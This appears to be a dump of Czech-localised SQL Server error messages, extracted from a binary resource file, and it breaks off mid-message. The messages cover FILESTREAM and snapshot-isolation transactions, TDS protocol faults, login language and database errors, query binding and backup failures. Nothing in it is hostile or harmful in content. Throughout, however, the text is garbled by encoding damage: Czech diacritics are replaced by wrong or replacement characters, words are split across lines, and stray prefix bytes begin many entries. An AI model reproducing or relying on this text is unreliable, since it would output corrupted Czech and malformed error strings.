hAktu�ln� u~ivatel nemo~e pou~�vat tento kontext transakce FILESTREAM. Chcete-li z�skat platn� kontext transakce FILESTREAM, pou~ijte funkci GET_FILESTREAM_TRANSACTION_CONTEXT.

Kontext transakce FILESTREAM nebylo mo~n� inicializovat. Dovodem mo~e b�t nedostatek prostYedko. Opakujte operaci. K�d chyby: 0x%1!s!.

Transakci nebylo mo~n� zapsat, proto~e pYi pokusu o zaps�n� dat FILESTREAM na disk doalo k chyb. Mohlo se st�t, ~e v dob z�pisu doalo k otevYen� souboru, nebo se vyskytla chyba V/V disku. Jedn�m ze souboro, kter�ch se to t�k�, je soubor %1!s!. K�d chyby: 0x%2!s!

PYi vracen� transakce doalo k chyb pYi pokusu doru
it ozn�men� o vr�cen� zpt ovlada
i filtru FILESTREAM. K�d chyby: 0x%1!s!.

DTransakce byla zastavena, proto~e se dostala do konfliktu s prov�dn�m operace zavYen� FILESTREAM pou~�vaj�c� stejnou transakci. Transakce bude vr�cena zpt.

tNa po
�tku d�vky byla zjiatna nezapsateln� transakce. Transakce byla vr�cena zpt. Dovodem byla chyba, ke kter� doalo pYi zpracov�n� po~adavku FILESTREAM v kontextu t�to transakce.

�Bhem z�pisu se nepodaYilo se z�skat potYebn� z�mky. Transakce byla vr�cena zpt.

Transakce nemo~e upravit objekt, kter� je publikov�n pro replikaci nebo m� povolenou funkci Change Data Capture, proto~e transakce byla spuatna jeat pYed povolen�m replikace nebo funkce Change Data Capture na datab�zi. Zkuste transakci prov�st znovu.

TTransakce byla ukon
ena   doalo ke zmn konfigurace nebo stavu repliky dostupnosti nebo prob�h� odstraHov�n� neodstrann�ch z�znamo z prim�rn� nebo sekund�rn� repliky dostupnosti, kter� by mohla b�t vy~adov�na dotazy spuatn�mi na �rovni izolace sn�mku. Opakujte pokus o proveden� transakce.

xPYi pYistupov�n� k Y�dku ozna
en�mu verz� v tabulce %1!s! v datab�zi %2!s! byla transakce pYeruaena. Po~adovan� Y�dek ozna
en� verz� nebyl nalezen, proto~e pro operaci, kter� se pokusila vytvoYit danou verzi, nen� povolen 
iteln� sekund�rn� pY�stup. Tato chyba mo~e souviset s 
asov�n�m. Opakujte dotaz pozdji.

(PYi pokusu pYe
�st dala� Y�dek vyprael 
as pro prohled�n� �lo~iat verz�. Zkuste pY�kaz zopakovat pozdji, a~ syst�m nebude tak zanepr�zdnn�.

�Transakce v datab�zi %1!s! se nezdaYila, proto~e pY�kaz byl spuatn� na �rovni izolace sn�mku, ale transakce nikoli. Pokud transakce nebyla povodn spuatna na �rovni izolace sn�mku, nelze zmnit �roveH izolace transakce na sn�mek.

xTransakci izolace sn�mku byl odepYen pY�stup k datab�zi %1!s!, proto~e v t�to datab�zi nen� povolena izolace sn�mku. Chcete-li povolit izolaci sn�mku, pou~ijte pY�kaz ALTER DATABASE.

XTransakce izolace sn�mku se v datab�zi %1!s! nezdaYila, proto~e datab�ze nebyla pYi spuatn� aktu�ln� transakce obnovena. Po obnoven� datab�ze spusete transakci znovu.

\Transakci izolace sn�mku se v datab�zi %1!s! nepodaYilo spustit, proto~e pYed zah�jen�m t�to transakce byl spuatn pY�kaz ALTER DATABASE, kter� zakazuje izolaci sn�mku. Datab�ze pYech�z� do stavu Vypnuto. Je tYeba bu zmnit �roveH izolace transakce, nebo znovu umo~nit izolaci sn�mku v datab�zi.

tTransakce izolace sn�mku se v datab�zi %1!s! nezdaYila, proto~e obnoven� bylo u t�to datab�ze pYesko
eno. Ne~ spust�te transakci na �rovni izolace sn�mku, je tYeba obnovit datab�zi.

8Transakci izolace sn�mku se v datab�zi %1!s! nepodaYilo spustit, proto~e pY�kaz ALTER DATABASE, kter� pro tuto datab�zi umo~Huje izolaci sn�mku, nebyl jeat dokon
en. Datab�ze pYech�z� do stavu 
ek�n� na stav Zapnuto. Je tYeba po
kat na �span� dokon
en� pY�kazu ALTER DATABASE.

PTransakce izolace sn�mku se v datab�zi %1!s! nezdaYila, proto~e pYi spuatn� aktu�ln� transakce nebyla v datab�zi povolena izolace sn�mku. Spusete transakci znovu.

hPYi pYistupov�n� k Y�dku ozna
en�mu verz� v tabulce %1!s! v datab�zi %2!s! byla transakce pYeruaena. Nebyl nalezen po~adovan� Y�dek ozna
en� verz�. Vaae datab�ze tempdb pravdpodobn 
el� nedostatku m�sta. Dala� informace, jak nakonfigurovat datab�zi tempdb pro spr�vu verz�, naleznete v knih�ch online.

�Transakce izolace sn�mku byla pYeruaena z dovodu konfliktu s aktualizac�. Izolaci sn�mku nelze pou~�t pro pY�m� nebo nepY�m� pY�stup k tabulce %1!s! v datab�zi %2!s! a k aktualizaci, odstrann� nebo vlo~en� Y�dku zmnn�ho nebo odstrann�ho jinou transakc�. Opakujte transakci nebo pro pY�kaz k aktualizaci 
i odstrann� zmHte �roveH izolace.

�Transakce izolace sn�mku v datab�zi %1!s! se nezdaYila, proto~e objekt, kter�ho se pY�kaz t�k�, byl po spuatn� t�to transakce zmnn pY�kazem DDL v jin� soub~n� transakci. To je zak�z�no, proto~e metadata nejsou ozna
en� verz�. Pokud dojde k prom�ch�n� s izolac� sn�mku, mo~e soub~n� aktualizace metadat v�st k nekonzistenci.

0PYi prov�dn� vnitYn�ho dotazu syst�mu SQL Server nen� podporov�na vazba na dala� transakci. Zkontrolujte definici aktivace pYihl�aen� a odstraHte pY�padn� pou~it� procedury sp_bindsession. Pokud pYi aktivaci pYihl�aen� nedoalo k t�to chyb, obraete se na t�m podpory v�roby.

�Transakce v datab�zi %1!s! se nezdaYila, proto~e distribuovan� transakce nejsou podporovan� na �rovni izolace sn�mku.

�Transakce se nezdaYila, proto~e tento pY�kaz DDL nen� v transakci izolace sn�mku povolen. Metadata nejsou ozna
en� verz�, tak~e pokud se prom�chaj� pYi izolaci sn�mku, mo~e jejich zmna v�st k nekonzistenci.

�Po~adavek PROMOTE TRANSACTION se nezdaYil, proto~e ~�dn� m�stn� transakce nen� aktivn�.

PYi pYistupov�n� k �lo~iati verz� byla transakce vr�cena zpt. Ne~ bylo �lo~iat verz� zmenaeno z dovodu nedostatku m�sta v datab�zi tempdb, byla tato transakce ozna
ena jako posti~en�. Tato transakce byla ozna
ena jako posti~en� dY�ve, proto~e by mohla potYebovat verze Y�dku, kter� byly odstranny, aby se v datab�zi tempdb uvolnilo m�sto. Opakujte pokus o proveden� transakce.

�Nedostate
n� m�sto v datab�zi tempdb pro zachov�n� verz� Y�dku. �lo~iat verz� je tYeba zmenait, aby se v datab�zi tempdb uvolnilo njak� m�sto. Transakce (id=%1!s! xsn=%2!s! spid=%3!s! elapsed_time=%4!s!) byla ozna
ena jako posti~en� a pokud pYistoup� k �lo~iati verz�, bude vr�cena zpt. Pokud pot�~e potrvaj�, pY�
inou je pravdpodobn nespr�vn� velikost datab�ze tempdb nebo dlouhotrvaj�c� transakce. Dala� informace, jak nakonfigurovat datab�zi tempdb pro spr�vnou verzi, naleznete v knih�ch online.

0Distribuovan� transakce nen� pYi spuatn� vnitYn�ho dotazu syst�mu SQL Server podporov�na. Zkontrolujte definici aktivace pYihl�aen� a odstraHte pou~it� pY�padn� distribuovan� transakce. Pokud pYi aktivaci pYihl�aen� nedoalo k t�to chyb, obraete se na t�m produk
n� podpory.

�Tato operace je v konfliktu s dala� 
ekaj�c� operac� v t�to transakci. Operace se nezdaYila.

�Serveru se nepodaYilo pokra
ovat v transakci. Popis: %1!s!.

dPY�choz� protokol TDS (Tabular Data Stream) je nespr�vn�. Ud�lost spr�vce transakc� m� nespr�vnou d�lku. Typ ud�losti: %1!s!. O
ek�van� d�lka: %2!s!. Aktu�ln� d�lka: %3!s!.

�Datab�zi aktu�ln pou~�v� jin� vl�kno ve stejn�m pracovn�m prostoru ve v�hradn�m re~imu. Operace se nezdaYila.

0Po
et datab�z� pou~�van�ch v pracovn�m prostoru ve v�hradn�m re~imu je omezen. Vzhledem k tomu, ~e byl tento limit pYekro
en, operace se nezdaYila.

�Datov� typ varchar(max) nen� podporov�n pro proceduru sp_getbindtoken. D�vka byla pYeruaena.

�N�zev transakce m� lichou d�lku %1!s!. D�vka byla pYeruaena.

�N�zev ulo~en�ho bodu nemo~e m�t hodnotu NULL. D�vka byla pYeruaena.

�Zah�jen� nov� transakce po n�vratu zpt k ulo~en�mu bodu nen� povoleno.

�Po~adavek TM je dela�, ne~ se o
ek�valo. Po~adavek nen� zpracov�n.

�Po~adavek se nepodaYilo spustit, proto~e d�vka byla pYeruaena. Dovodem mo~e b�t sign�l k pYeruaen� odeslan� klientem, nebo dala� po~adavek spuatn� ve stejn� relaci, kter� mo~e zposobit, ~e je relace zanepr�zdnn�.

�Operaci transakce nelze prov�st, proto~e v t�to transakci existuj� 
ekaj�c� po~adavky.

�Pokud je aktivn� slu~ba DTC nebo v�zan� transakce, nen� povoleno spustit novou transakci.

tOperace se nezdaYila, proto~e relace m� v�ce vl�ken.

pBhem zmny transakce nelze z�skat z�mek datab�ze.

PYi zmn kontextu transakce doalo k chyb. PY�
inou obvykle b�v� nedostate
n� pame v syst�mu. Zkuste uvolnit v�ce pamti.

xasov� raz�tka transakce vypraela. Restartujte server.

�Nov� transakce nen� povolena, proto~e v relaci jsou spuatn� dala� vl�kna.

�Nov� po~adavek nelze spustit, proto~e by ml m�t platn� popisova
 transakc�.

�Transakci nen� povoleno zapsat do u~ivatelsky definovan� rutiny, aktiva
n� ud�losti nebo agregace, proto~e transakce nen� spuatna na t�to �rovni CLR. ZmHte aplika
n� logiku a vynuete si pY�sn� vnoYov�n� transakc�.

Transakce kontextu, kter� byla aktivn� pYed vstupem u~ivatelsky definovan� rutiny, aktiva
n� ud�losti nebo agregace %1!s!, byla ukon
ena uvnitY t�to rutiny, ud�losti 
i agregace, co~ nen� povoleno. ZmHte aplika
n� logiku a vynuete si pY�sn� vnoYov�n� transakc�.

�Po
et transakc� se zmnil z %1!s! na %2!s! uvnitY u~ivatelsky definovan� rutiny, aktiva
n� ud�losti nebo agregace %3!s!. To nen� povoleno. U~ivatelsk� transakce bude vr�cena zpt. ZmHte aplika
n� logiku a vynuete si pY�sn� vnoYov�n� transakc�.

PU~ivatelsk� transakce, kter� byla spuatna v u~ivatelsky definovan� rutin, aktiva
n� ud�losti nebo agregaci %1!s!, nebyla do opuatn� t�to rutiny, ud�losti 
i agregace ukon
ena. To nen� povoleno. Transakce bude vr�cena zpt. ZmHte aplika
n� logiku a vynuete si pY�sn� vnoYov�n� transakc�.

U~ivatelsky definovan� rutina, aktiva
n� ud�lost nebo agregace se pokusila vr�tit zpt transakci, kter� nen� spuatna na t�to �rovni CLR. Dojde k v�jimce, aby se zabr�nilo vykon�n� zbytku u~ivatelsky definovan� rutiny, aplika
n� ud�losti nebo agregace.

�Nezn�m� �roveH izolace transakce %1!s!, platn� rozsah hodnot je od 0 do 5.

(�roveH izolace sn�mku nen� podporov�na pro distribuovanou transakci. Pou~ijte jinou �roveH izolace, nebo nepou~�vejte distribuovanou transakci.

�Transakce spuatn� v d�vce MARS je na konci d�vky st�le aktivn�. Transakce je vr�cena zpt.

�Na konci d�vky je zjiatna nezapsateln� transakce. Transakce je vr�cena zpt.

Z�pis tabulky na disk do identifik�toru egid %1!s! se z dovodu chyby %2!s! nezdaYil. Dala� informace naleznete v protokolu chyb.

�PY�choz� datov� proud protokolu TDS (Tabular Data Stream) je nespr�vn�. Proud byl neo
ek�van ukon
en.

TData Unicode v kolaci jen s k�dem Unicode nebo data ntext nelze odeslat klientom, kteY� pou~�vaj� knihovnu DB-Library (jako je ISQL) nebo ODBC verze 3.7 nebo stara�.

�Sloupce nelze aktualizovat z v�ce ne~ jedn� podkladov� tabulky v jednom vol�n� aktualizace.

�X�dky nelze odstranit z v�ce ne~ jedn� podkladov� tabulky v jednom vol�n� aktualizace.

�Nelze aktualizovat nebo vlo~it sloupec %1!s!. Pravdpodobn se jedn� o v�raz.

�Verze ovlada
e klienta stara� ne~ SQL Server 2005 nemohou v klauzuli COMPUTE pou~�t datov� typy varchar(max), nvarchar(max), varbinary(max) a XML. Odealete dotaz znovu pomoc� novja�ho ovlada
e klienta.

PY�choz� datov� proud protokolu TDS (Tabular Data Stream) je nespr�vn�. Z�hlav� TDS (Tabular Data Stream) obsahovala chyby.

 PY�choz� datov� proud protokolu TDS (Tabular Data Stream) je nespr�vn�. Z�hlav� TDS (Tabular Data Stream) ozn�men� dotazo obsahovalo chyby.

8PY�choz� datov� proud protokolu TDS (Tabular Data Stream) je nespr�vn�. Z�hlav� TDS (Tabular Data Stream) v�ce aktivn�ch sad v�sledko obsahovalo chyby.

|Byla nalezena neplatn� kolace TDS (Tabular Data Stream).

8PY�choz� datov� proud protokolu TDS (Tabular Data Stream) je nespr�vn�. Chyb� z�hlav� TDS (Tabular Data Stream) nkolika aktivn�ch sad v�sledko dotazu.

PYi 
ten� vstupn�ho datov�ho proudu ze s�t doalo k z�va~n� chyb. Relace bude ukon
ena (chyba vstupu: %1!s!, chyba v�stupu: %2!s!).

0Jazyk po~adovan� v pYihl�aen� %1!s! nem� v tomto syst�mu SQL Server ofici�ln� n�zev. Pou~ijte m�sto nj v�choz� nastaven� %2!s! na �rovni serveru.

 Jazyk po~adovan� v pYihl�aen� %1!s! nem� v tomto syst�mu SQL Server ofici�ln� n�zev. Pou~ijte m�sto nj v�choz� nastaven� u~ivatele %2!s!.

�Ani jazyk po~adovan� v pYihl�aen� %1!s!, ani v�choz� jazyk u~ivatele %2!s! nemaj� v tomto syst�mu SQL Server ofici�ln� n�zev. Pou~ijte m�sto nj v�choz� nastaven� %3!s! na �rovni serveru.

$V�choz� jazyk u~ivatele %1!s! nem� v tomto syst�mu SQL Server ofici�ln� n�zev. Pou~ijte m�sto nj v�choz� nastaven� %2!s! na �rovni serveru.

�Jazyk po~adovan� v pYihl�aen� %1!s! nem� v tomto syst�mu SQL Server ofici�ln� n�zev. PYihl�aen� se nezdaYilo.

�V�choz� poYad� v datu %1!s! je pro jazyk %2!s! neplatn�. Pou~ijte form�t MDR.

�Obnoven� v�sledko pYipojen� v jin�m stavu, ne~ bylo po
�te
n� pYihl�aen�. PYihl�aen� se nezdaYilo.

�Bylo o
ek�v�no hromadn� na
ten� dat, data vaak nebyla odesl�na. D�vka bude ukon
ena.

�PYipojte p�sku pro %1!s! datab�ze %2!s! k p�skov� jednotce %3!s!.

�Bylo dosa~eno konce p�sky. Vyjmte p�sku %1!s! a pYipojte dala� p�sku pro %2!s! datab�ze %3!s!.

�U~ivatelem ur
en� n�zev MEDIANAME %1!s! neodpov�d� n�zvu MEDIANAME %2!s! uveden�mu v zaY�zen� %3!s!.

hSoubor s ID %1!s! nelze v zaY�zen� %2!s! naj�t.

�Datab�zi %1!s! po~adovanou v pYihl�aen� nelze otevY�t. PYihl�aen� se nezdaYilo.

Nelze otevY�t ani datab�zi %1!s! po~adovanou v pYihl�aen�, ani v�choz� datab�zi u~ivatele. Pou~ijte m�sto nich hlavn� datab�zi.

�V�choz� datab�zi u~ivatele nelze otevY�t. Pou~ijte m�sto n� hlavn� datab�zi.

�Datab�zi %1!s! po~adovanou v pYihl�aen� nelze otevY�t. Pou~ijte m�sto n� v�choz� datab�zi u~ivatele %2!s!.

�V�choz� datab�zi u~ivatele nelze otevY�t. PYihl�aen� se nezdaYilo.

�U~ivatel se sna~� pou~�t %1!s! prostYednictv�m slu~by ODS, kter� ji~ nen� podporov�na.

�Klientom dod�van�m v syst�mu SQL Server 2000 a ve stara�ch verz�ch nelze odeslat typy s ID vta�m ne~ 65535.

�Serializace typu CLR se nezdaYila, proto~e byl ur
en neplatn� soubor cookie.

LProcedura sp_resetconnection byla odesl�na jako 
�st d�vky vzd�len�ho vol�n� procedur (RPC), nebyla vaak posledn�m vol�n�m RPC v d�vce. PYipojen� bude ukon
eno.

Kone
n� hodnota v�stupn�ho parametru byla null. Klientovi verze 6.5 nemohla b�t odesl�na, proto~e parametr nemo~e m�t hodnotu null.

�V klauzuli COMPUTE bylo ur
eno v�ce ne~ 255 sloupco. Tato metadata klientovi syst�mu SQL Server verze 6.5 nelze odeslat.

�N�vratovou hodnotu datov�ho typu varchar(max), nvarchar(max), varbinary(max), XML nebo dala�ho typu velk�ch objekto nelze vr�tit verz�m ovlada
e klienta stara�m ne~ syst�m SQL Server 2005. Odealete dotaz znovu pomoc� novja�ho ovlada
e klienta.

�Ovlada
e klienta nepYij�maj� sady v�sledko dotazo, kter� maj� v�ce ne~ 65535 sloupco.

<PY�kaz datab�ze USE selhal, proto~e stara� ovlada
e klienta nerozpoznaj� kolaci datab�ze %1!s!. Zkuste upgradovat opera
n� syst�m klienta, aktualizovat klientsk� software datab�ze nebo pou~�t jinou kolaci. Dala� informace o zmn kolac� najdete na webu Knihy online pro SQL Server.

@PY�kaz ALTER DATABASE selhal, proto~e stara� ovlada
e klienta nerozpoznaj� kolaci datab�ze %1!s!. Zkuste upgradovat opera
n� syst�m klienta, aktualizovat klientsk� software datab�ze nebo pou~�t jinou kolaci. Dala� informace o zmn kolac� najdete na webu Knihy online pro SQL Server.

XPY�kaz selhal, proto~e hodnota sql_variant pou~�v� kolaci %1!s!, kterou stara� ovlada
e klienta nerozpoznaj�. Zkuste upgradovat opera
n� syst�m klienta, aktualizovat klientsk� software datab�ze nebo pou~�t jinou kolaci. Dala� informace o zmn kolac� najdete na webu Knihy online pro SQL Server.

dPY�kaz selhal, proto~e sloupec %1!s! (ID=%2!s!) pou~�v� kolaci %3!s!, kterou stara� ovlada
e klienta nerozpoznaj�. Zkuste upgradovat opera
n� syst�m klienta, aktualizovat klientsk� software datab�ze nebo pou~�t jinou kolaci. Dala� informace o zmn kolac� najdete na webu Knihy online pro SQL Server.

�PY�kaz se nezdaYil z dovodu aritmetick�ho pYete
en� pYi odes�l�n� datov�ho proudu.

�PY�choz� datov� proud protokolu TDS je nespr�vn�. Z�hlav� TRACE TDS obsahovalo chyby.

�Parametr %1!s! byl rozpozn�n jako parametr s hodnotou tabulky, kter� nelze odeslat verzemi ovlada
e klienta stara�mi ne~ syst�m SQL Server 2008. Znovu odealete dotaz pomoc� novja� verze ovlada
e klienta.

pNelze obnovit stav relace po~adovan� v pYihl�aen�.

PYipojen� bylo obnoveno a po
et Y�dko v prvn�m dotazu nen� dostupn�. Chcete-li z�skat platn� po
et Y�dko, spusete dala� dotaz.

�Agregace na prav� stran oper�toru APPLY neodkazuj� na sloupce na lev� stran.

4Pomocn� parametr z�mku READPAST je povolen pouze v c�lov�ch tabulk�ch pY�kazo UPDATE a DELETE a v tabulk�ch ur
en�ch pomoc� explicitn� klauzule FROM.

\%1!s!: Do
asn� zobrazen� nejsou povolena.

xIdentifik�tor o v�ce 
�stech %1!s! nebylo mo~n� sv�zat.

�U~ivatelsky definovan� funkce, funkce odd�lu a odkazy na sloupce nejsou ve v�razech v tomto kontextu povoleny.

�Vlo~en� do vzd�len�ch tabulek nebo zobrazen� pomoc� n�stroje BCP nebo pY�kazu BULK INSERT nen� povoleno.

�Odd�lov� funkce se mohou objevit pouze v klauzul�ch SELECT nebo ORDER BY.

�Odd�lov� funkce nelze pou~�t v kontextu okna dala� funkce nebo agregace.

|Typ argumentu %1!s! je neplatn� pro argument %2!s! %3!s!.

�Za pY�kazem CREATE SCHEMA by ml n�sledovat n�zev nebo kl�
ov� slovo autorizace.

|Funkce %1!s! mus� m�t klauzuli OVER s klauzul� ORDER BY.

�Funkce %1!s! nen� platn� odd�lov� funkce a nelze ji pou~�t s klauzul� OVER.

dFunkce %1!s! vy~aduje pYesn %2!s! argumento.

pOdkaz na sloupce %1!s! nen� v argumentu klauzule TOP, OFFSET nebo FETCH povolen. Jsou zde povoleny pouze odkazy na sloupce ve vnja�m oboru nebo na samostatn� v�razy a poddotazy.

�Vstupem funkce NTILE je pouze kladn� v�raz int nebo bigint.

�Nelze na
�st data tabulky pro operaci dotazu, proto~e sch�ma tabulky %1!s! se mn� pY�lia 
asto. Jeliko~ tabulka %2!s! obsahuje po
�tan� sloupec, zmny sch�matu tabulky vy~aduj� aktualizaci vaech dat tabulky. Zkuste operaci dotazu prov�st znovu. Pokud pot�~e potrvaj�, zjistte pomoc� n�stroje SQL Server Profiler, k jak�m operac�m zmny sch�matu doch�z�.

hV klauzuli FOR UPDATE byl ur
en neplatn� v�raz.

�Nastaven�m vlastnost� sloupco typu CLR nelze pYiYadit v�choz� hodnoty.

�U~ivatelsky definovan� funkce nesm� m�t v tomto kontextu v n�zvu pYedponu s n�zvem datab�ze.

�Nelze naj�t ani sloupec %1!s!, ani u~ivatelsky definovanou funkci, ani agregaci %2!s!. N�zev mo~e b�t nejednozna
n�.

|Vzd�len� vol�n� funkc� vracej�c�ch tabulku nen� povoleno.

\Parametry zadan� pro d�vku nejsou platn�.

tNebyly nalezeny ~�dn� sloupce s fulltextov�mi indexy.

�Nejm�n jeden z argumento pro funkci COALESCE mus� b�t v�raz, jeho~ konstanta nem� hodnotu NULL.

\PYi vzd�len�m spuatn� dotazu doalo k vnitYn� chyb. Obraete se na pracovn�ka odborn� podpory syst�mu SQL Server a sdlte mu podrobnosti o dotazu, kter� chcete spustit.

�Vlo~en� funkce %1!s! nemo~e pou~�t korela
n� parametry nebo poddotazy, proto~e pou~�v� fulltextov� oper�tor.

|Pro sadu Y�dko BULK byl pomocn� parametr ur
en v�cekr�t.

Hodnota liter�lu definovan� pYi kompilaci byla pro promnnou %1!s! ur
ena nkolikr�t (v jedn� nebo v�ce klauzul�ch OPTIMIZE FOR).

�Hodnota ur
en� pro promnnou %1!s! v klauzuli OPTIMIZE FOR nemohla b�t implicitn pYevedena na tento typ promnn�.

�Jako argument pro pY�kaz RETURN mo~e b�t ur
en pouze skal�rn� v�raz.

�Metadata ulo~en� na disku pro po
�tan� sloupec %1!s! v tabulce %2!s! neodpov�dala definici sloupce. Chcete-li se vyhnout poakozen� indexo, vyYate tento po
�tan� sloupec a vytvoYte jej znovu.

�Synonymum %1!s! je definovan� ve front %2!s!. Synonyma nejsou ve front�ch povolena.

�Pomocn� parametr %1!s! nelze pou~�t spolu s pomocn�m parametrem %2!s!.

�Form�tov� soubor nelze zadat z�roveH s mo~nost� SINGLE_BLOB, SINGLE_CLOB nebo SINGLE_NCLOB.

Pro tabulku %1!s! byly ur
eny konfliktn� pomocn� parametry z�mku. PY�
inou mo~e b�t konfliktn� pomocn� parametr ur
en� pro zobrazen�.

 Dotaz nelze zpracovat, proto~e odkazuje na funkci %1!s! modulu CLR vracej�c� tabulku s pomocn�m parametrem prostYednictv�m zobrazen� %2!s!.

�Pomocn� parametr z�mku READCOMMITTEDLOCK nen� v c�lov� tabulce pY�kazu INSERT povolen.

dVnoYen� aktualizace typu CLR nejsou povoleny.

`V seznamu RECEIVE nejsou povoleny agregace.

�Hromadn� zprostYedkovatel funkce OPENROWSET nen� platn�m c�lem pro tabulku %1!s!.

�PYi vkl�d�n� do vzd�len�ch tabulek nen� pomocn� parametr %1!s! povolen.

�V�raz, kter� nen� logick� typ, byl ur
en v kontextu, kde je o
ek�v�na podm�nka, u %1!s!.

`Statistiku lze vytv�Yet pouze pro sloupce.

hV klauzuli GROUP BY nejsou povoleny metody XML.

�V rekurzivn�ch odkazech na spole
n� tabulkov� v�raz (CTE   common table expression) nejsou povoleny pomocn� parametry. Zva~te odebr�n� pomocn�ho parametru z rekurzivn�ho odkazu CTE %1!s!.

�Typem prvn�ho argumentu pro funkci NULLIF nemo~e b�t konstanta NULL, proto~e typ prvn�ho argumentu mus� b�t zn�m�.

<Typ %1!s! nen� typem CLR.

tDatov� typ %1!s! nelze pova~ovat za datov� typ %2!s!.

|PY�kaz UNNEST mo~e pou~�t pouze v�raz typu multimno~ina.

�Seznam SELECT pro vnoYen� pY�kaz INSERT mo~e obsahovat jen jednu polo~ku.

�C�l vnoYen�ho vlo~en�, vnoYen� aktualizace nebo vnoYen�ho odstrann� mus� b�t typu multimno~ina.

h%1!s! nen� platn� vlastnost, pole nebo metoda.

�Na pole %1!s! je v seznamu nastaven� odkazov�no v�ce ne~ jednou (pY�mo nebo pomoc� vlastnosti).

�Zpo~dn� instance typu CLR vy~aduje jako argument m�stn� sloupec z�kladn� tabulky.

�V tabulce %1!s!nebylo mo~n� naj�t vhodn� kl�
, kter� by se dal pou~�t pro zpo~dn� na
�t�n� typu CLR.

�Ve zpo~dn�m na
�t�n� typu CRL jsou povoleny pouze typy CRL.

�Tabulku A PROB_MATCH lze pou~�t pouze uvnitY dotazu PROB_MATCH.

tV dotazu PROB_MATCH je vy~adov�na klauzule GROUP BY.

Klauzule GROUP BY v dotazu PROB_MATCH mo~e m�t pouze kl�
ov� sloupce, pYi
em~ tyto kl�
ov� sloupce mus� obsahovat vaechny.

(Sk�re pYep�ae argument, pokud se nach�z� v jednom z poddotazo. Mus� se nach�zet ve vaech poddotazech a mus� m�t stejnou konstantu a promnnou.

DNeplatn� poddotaz PROB_MATCH.

�V�ce poddotazo PROB_MATCH mo~e odkazovat pouze na stejnou z�kladn� tabulku.

�Neplatn� polo~ka projektu PROB_MATCH v seznamu PROB_MATCH SELECT.

�Ve fulltextov�m odkazu na vlastnost nen� povoleno pou~�t u stejn�ho v�razu pY�kaz TREAT v�ckr�t ne~ jednou.

�Specifikaci (ANY) lze pou~�t pouze na v�razy typu multimno~ina.

�Pro agregaci v seznamu PROB_MATCH SELECT nebyl ur
en alias.

XNespr�vn� pou~it� fulltextov�ho %1!s!.

\%1!s! nen� platn� n�zev funkce bodov�n�.

Dotaz na hodnotu zpo~dn�ho na
�t�n� instance typu CLR mo~e odkazovat pouze na sloupec velk�ho objektu nebo velk� hodnoty.

�U typo CLR, kter� nejsou strukturovan�ho form�tu (Format.Structured), nelze prov�dt vnoYen� aktualizace.

�Pro dotaz FULLTEXTTABLE bylo ur
eno pY�lia mnoho parametro jednoduch�ho typu. Maxim�ln� po
et parametro je %1!s!.

�Klauzule FROM dotazu PROB_MATCH mus� obsahovat jedinou odvozenou tabulku.

�Nelze na
�st data tabulky pro operaci dotazu, proto~e sch�ma tabulky %1!s! se mn� pY�lia 
asto. Jeliko~ tabulka %2!s! obsahuje filtrovan� index nebo filtrovanou statistiku, zmny sch�matu tabulky vy~aduj� aktualizaci vaech dat tabulky. Opakujte operaci dotazu. Pokud pot�~e potrvaj�, zjistte pomoc� n�stroje SQL Server Profiler, k jak�m operac�m zmny sch�matu doch�z�.

`Tuto akci nelze prov�st na syst�mov�m typu.

V klauzuli OUTPUT nelze odkazovat na sloupec %1!s!.%2!s!, proto~e definice sloupce obsahuje poddotaz nebo odkazuje na funkci zajiaeuj�c� pY�stup u~ivatele nebo syst�mu k datom. Ve v�choz�m nastaven� se o funkci pYedpokl�d�, ~e prov�d� pY�stup k datom (nen�-li typu schemabound). Zva~te odebr�n� poddotazu nebo funkce z definice sloupce, pY�padn odebr�n� sloupce z klauzule OUTPUT.

Datov� typ %1!s! pYij�mac� promnn� nemo~e ulo~it vaechny hodnoty datov�ho typu %2!s! sloupce %3!s!, ani~ by nedoalo ke ztr�t dat.

�Sloupec nebo parametr %1!s! m� typ %2!s! a kolaci %3!s!. Stara� verze typo LOB nepodporuj� k�dov�n� UTF-8 ani UTF-16. Pou~ijte typy varchar(max) 
i nvarchar(max) nebo pou~ijte kolaci, kter� nem� pY�znak _SC ani _UTF8.

�Nejde prov�st pYevod na datov� typy text nebo ntext nebo kolaci na datov� typ %1!s!, proto~e tyto stara� verze typo LOB nepodporuj� k�dov�n� UTF-8 nebo UTF-16. Pou~ijte typy varchar(max), nvarchar(max) nebo kolaci, kter� nem� pY�znak _SC nebo _UTF8.

�Oper�tor PIVOT nen� povolen pro rekurzivn� 
�st rekurzivn�ho b~n�ho v�razu tabulky %1!s!.

lKonflikt kolace nelze pro operaci %1!s! vyYeait.

HKonflikt kolace nelze vyYeait.

�%1!s! nen� platn� r�mec okna a nelze jej pou~�t s klauzul� OVER.

�Parametr RANGE je podporov�n pouze s oddlova
i r�mce okna n�strojo UNBOUNDED a CURRENT ROW.

POdkaz na sloupec %1!s! nen� v argumentu pro funkci NTILE povolen. Jsou zde povoleny pouze odkazy na sloupce ve vnja�m oboru nebo na samostatn� v�razy a poddotazy.

Na sloupec %1!s!.%2!s! nelze odkazovat v klauzuli OUTPUT, proto~e definice sloupce obsahuje v�raz vyu~�vaj�c� odd�lovou funkci.

�PYi vytv�Yen� vazby doalo k vnitYn� chyb kompilace dotazu.

PKolace %1!s!' je podporov�na pouze pro datov� typy standardu Unicode. Kolace vy~aduj�c� v�hradn k�dov�n� Unicode nelze pou~�t k ur
en� funk
n�ch parametro odd�lu.

�Hodnota argumentu %1!s! je pro argument %2!s! funkce %3!s! neplatn�.

PY�kaz BACKUP LOG nelze pou~�t, proto~e v datab�zi existuj� hromadn protokolovan� zmny a nejm�n jedna skupina souboro nen� dostupn�.

DV pY�pad jednoduch�ho modelu obnoven� nen� povolen pY�kaz %1!s!. Pou~ijte pY�kaz BACKUP DATABASE, nebo pomoc� pY�kazu ALTER DATABASE zmHte model obnoven�.

�Protokol hlavn� datab�ze nejde z�lohovat. Pou~ijte pY�kaz BACKUP DATABASE.

�PY�kaz BACKUP LOG nelze vykonat, proto~e z�loha aktu�ln� datab�ze neexistuje.

�V datab�zi existuj� hromadn protokolovan� zmny. Provete pY�kaz BACKUP LOG.

�Protokol modelov� datab�ze s mo~nost� NORECOVERY nejde z�lohovat.

�PYihl�aen� ke 
ten� na sekund�rn� replice se nepovedlo z dovodu dlouh�ho 
